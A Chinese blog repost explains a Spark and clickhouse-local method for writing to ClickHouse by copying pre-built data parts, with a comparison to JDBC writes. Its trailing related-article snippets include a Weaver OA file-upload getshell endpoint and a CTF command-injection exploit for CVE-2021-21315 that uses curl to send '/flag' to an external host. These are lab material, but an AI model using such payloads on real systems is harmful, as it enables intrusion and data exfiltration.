Clickhouse基于文件复制写入

背景

目前clickhouse社区对于数据的写入主要基于文件本地表、分布式表方式为主,但缺乏大批量快速写入场景下的数据写入方式,本文提供了一种基于clickhouse local 客户端工具分布式处理hdfs数据表文件,并将clickhouse以文件复制的方式完成写入clickhouse的方法。该方案通过spark程序实现,经测试:

(1)在相同资源下,与传统的写clickhouse基于http/tcp的方式,可提供3倍左右的性能。

(2)传统数据写过程中,clickhouse-server需要处理写入的数据,写性能主要受clickhouse集群网络、cpu、内存限制,无法通过扩展写入客户端端并发来提高写入性能,本方案将数据处理端放在了插入客户端,写入性能理论上可以线性扩展提升。

方案

传统基于http/tcp写方案

目前clickhouse 官方推介3种数据写入方式

  • official JDBC driver
  • ClickHouse-Native-JDBC
  • clickhouse4j

jdbc主要基于如下形式进行:

 基于jdbc写入的基本流程是spark集群(分布式计算引擎)读取hdfs文件,转换为dataframe后通过调用clickhouse jdbc方式,将数据写入至clickhouse服务端,clickhouse服务端完成本批次数据的生成。

clickhouse server端具体生成文件的流程为:

(1)ck集群分布式表接收到spark发送的写请求后,会更加分片键进行数据划分,对于数据属于本地分片分片的数据,直接写入本地表。对于数据属于其他分片的数据会先写入至临时目录下。

(2)对于clickhouse集群,数据的读写DDL都是依赖于zookeeper进行的,会将操作的日志写入至zk的/log下,并形成相应的task

(3)当数据写入本地表后,会将操作日志写入zk /log中,集群其他ck节点监听到/log变化后,会触发相应的ck节点拉去log操作并转换成task放入自身对应节点下的/queue中,其他节点将开始拉去该分片数据,并写入自身本地表中,同时对于分片副本原理类似。

(4)完成本次数据的拉取复制后,将移除/queue中对应的task,完成本次数据的写入。

从上面的流程中我们知道,数据的写入都是先将数据写入至分片表的本地然后复制至其他集群节点实现的,因此,clickhouse的分片表所在的机器常常负载比较大;数据的同步依赖zk进行的,zk压力也较大。

基于文件复制写方式

为了解决上述批量数据数据写入场景下的问题,社区提出了一种新的思路,即使用clickhouse local将先将数据处理成clickhouse 文件,完成后直接复制至clickhouse集群,这样大大减轻了clickhouse集群处理数据的压力,同时数据写入性能理论上可以与客户端并发写入线性增长。当前大多数公司使用clickhouse分析的数据不会在原始数据集上进行,常常是数仓加工后的明细数据,通常流程是原始数据集导入至数仓,输出加工处理,处理后的数据导出至clickhouse用于OLAP分析。本文针对这样的场景,提供了一种直接读取数仓加工生成的parquet等文件,使用spark、clickhouse-local分布式处理ck文件格式,并导入至clickhouse中,具体如下图所示:

 其中,spark集群中的spark node并不会读写hive表数据,而只是依赖spark分布程序将hive表所在hdfs上的文件分布式的方式下载至yarn node本地机器,然后调用本地机上的clickhouse local 命名,将不同文件格式的文件(parquet\orc\text\csv等)生成为clickhouse 文件块,最后通过直接通过ssh命令的方式将加工处理好的cickhouse数据复制clickhouse集群,并调用clickhouse attach part命令将数据块merge至表中,期间clickhouse表数据的所有处理动作执行端放在了spark node中进行,ck集群只负责数据的接收,大大提高了数据批量写入性能,sparknode具体处理过程如下图所示:

 

性能测试

经测试,在相同spark资源情况下,基于文件复制写入clickhouse的方式比jdbc方式写入性能有2~3倍的性能提升,且理论上文件复制方式写入可以伴随spark node增加而线性增长,在parquet格式的数据表上,不同写入方式下clickhouse完成时间对比结果如下图所示:

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开源低代码平台Openblocks

网友 HankMeng 想看低代码工具,正好手上有一个; 什么是 Openblocks ? Openblocks 是一个开发人员友好的开源低代码平台,可在几分钟内构建内部应用程序。 传统上,构建内部应用程序需要复杂的前端和后端交互,…

如何保证微信小游戏存档不丢失?

引言 微信小游戏的兴起为玩家提供了一个轻松便捷的娱乐方式,然而,存档丢失问题一直以来都是开发者和玩家关注的焦点。为了确保玩家的游戏体验和投入能够得到充分的保障,开发团队需要采取一系列方法来保障微信小游戏存档不丢失。本文将介绍一…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时,经常需要对一段话插入一段描述或者附件链接等,使用脚注经常因占用篇幅较大导致文档页面内容杂乱,这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注,这样文章整体干净整洁,需…

【枚举边+MST+组合计数】CF1857G

Problem - 1857G - Codeforces 题意: 思路: 首先观察一下样例: 可以发现对于每一对点,贡献是 s - 这对点对应的环的最大边 1 那么这样就有了 n^2 的做法 然后,根据惯用套路,枚举树上的点对问题可以转…

Prometheus的搭建与使用

一、安装Prometheus 官网下载地址:Download | Prometheus 解压:tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名: mv prometheus-2.19.2.linux-amd64 /home/prometheus进入对应目录: cd /home/prometheus查看配置文件&am…

OpenCV-Python中的图像处理-傅里叶变换

OpenCV-Python中的图像处理-傅里叶变换 傅里叶变换Numpy中的傅里叶变换Numpy中的傅里叶逆变换OpenCV中的傅里叶变换OpenCV中的傅里叶逆变换 DFT的性能优化不同滤波算子傅里叶变换对比 傅里叶变换 傅里叶变换经常被用来分析不同滤波器的频率特性。我们可以使用 2D 离散傅里叶变…

Unity Spine帧事件

SpinePro中添加事件帧 首先 选中右上角的层级树 然后选择事件选项 最后在右下角看到 新建 点击它 新建一个事件 点击左上角的设置按钮 弹出编辑窗口 编辑窗口 在右上角 动画栏 可以切换对应的动画 点坐边的那个小灰点来切换 亮点代表当前动画 选中帧 添加事件 点击对应事件…

突破防线!泛微OA任意文件上传Getshell

子曰:“巧言令色,鲜矣仁。” 漏洞复现 访问漏洞url: 存在漏洞的路径为 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用: 漏洞证明: 文笔生疏&…

ubuntu 20.0.4 搭建nvidia 显卡环境

一、安装docker 1、安装dokcer sudo apt install docker.io2、docker 添加到用户组 创建docker用户组 sudo groupadd docker添加当前用户加入docker用户组 sudo usermod -aG docker ${USER}重启docker服务 sudo systemctl restart docker切换或者退出当前账户再从新登入 …

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块(Anonymous Block)是存储过程的字块之一,没有名称。一般用于不频繁执行的脚本或…

NPM与外部服务的集成(下)

目录 1、撤消访问令牌 2、在CI/CD工作流中使用私有包 2.1 创建新的访问令牌 持续整合 持续部署 交互式工作流 CIDR白名单 2.2 将令牌设置为CI/CD服务器上的环境变量 2.3 创建并签入特定于项目的.npmrc文件 2.4 令牌安全 3、Docker和私有模块 3.1 背景:运…

移远RM500U-CN模块直连嵌入式ubuntu实现拨号上网

目录 1 平台: 2 需要准备的资料 3 参考文档 4 编译环境与驱动移植 4.1 内核驱动添加厂家ID和产品ID 4. 2.添加零包处理 4.3 增加复位恢复机制 4.4 增加批量输出 批量输出 URB 的数量和容量 的数量和容量 4.5 内核配置与编译 5 QM500U-CN拨号(在开…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含义

文章目录 一、简介二、如何使用2.1、在IDEA中安装Lombok插件2.2、添加maven依赖 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用简写技巧总结

平时我们写代码时最高级的境界是自己写的东西别人看不懂!哈哈哈!分享一些自己常用的js简写技巧,长期更新,会着重挑选一些实用的简写技巧,使自己的代码更简洁优雅~ 这里只会收集一些大多数人不知道的用法,但…

网络原理(JavaEE初阶系列11)

目录 前言: 1.网络原理的理解 2.应用层 2.1自定义协议的约定 2.1.1确定要传输的信息 2.1.2确定数据的格式 3.传输层 3.1UDP 3.1.1UDP报文格式 3.2TCP 3.2.1确认应答 3.2.2超时重传 3.2.3连接管理 3.2.3.1三次握手 3.2.3.2四次挥手 3.2.4滑动窗口 3.…

bigemap如何添加mapbox地图?

第一步 打开浏览器,找到你要访问的地图的URL地址,并且确认可以正常在浏览器中访问;浏览器中不能访问,同样也不能在软件中访问。 以下为常用地图源地址: 天地图: http://map.tianditu.gov.cn 包含&…

51单片机的管脚介绍

图文介绍 纯文字说明 单片机管脚相关结构及其作用如下 电源正极引脚 一般接5V电源,为单片机提供正常工作时的电压。 电源负极引脚 接地。然后才开始工作。 时钟引脚 18、19脚为时钟引脚(XTAL2、XTAL1)。单片机内部有大量的数字电路&a…

SringBoot-响应

响应数据 如何加载响应数据呢 其实在SpringBoot,已经有名为RessponseBody的方法注解为我们提供的响应的方法,他的作用是将方法返回值直接响应,如果返回值类型为实体对象/集合,则会转换为JSON格式响应。 而RestController已经在内…

Java真实面试题,offer已到手

关于学习 在黑马程序员刚刚开始的时候学习尽头非常足,到后面逐渐失去了一些兴趣,以至于后面上课会出现走神等问题,但是毕业时后悔晚矣。等到开始学习项目一的时候,思路总会比别人慢一些,不看讲义写不出来代码。 建议…